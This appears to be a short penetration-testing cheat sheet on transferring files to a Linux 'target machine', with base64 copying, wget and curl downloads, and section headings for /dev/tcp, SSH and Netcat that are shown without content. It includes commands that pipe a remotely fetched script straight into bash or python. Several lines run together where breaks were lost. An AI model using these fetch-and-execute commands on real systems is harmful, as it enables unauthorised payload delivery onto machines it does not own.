Linux - File Transfer
Download to the system
#On our machine
md5sum $file #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line
#On the target machine
echo 'b64String' | base64 -d > $file
md5sum $file #Compare the hash to confirm the integrity of the filewget https://$URL/$file -O /tmp/$outFile
curl -o /tmp/$outFile https://$URL/$filecurl https://$URL/$file | bash
wget -qO- https://$URL/$pythonFile | python #Also can be done with PythonDownload using the installed programming languages in the target
Download from a web server using the /dev/TCP device file
Download using SSH
Upload to a web server
Upload using SSH
Transfer using Netcat and Ncat
Last updated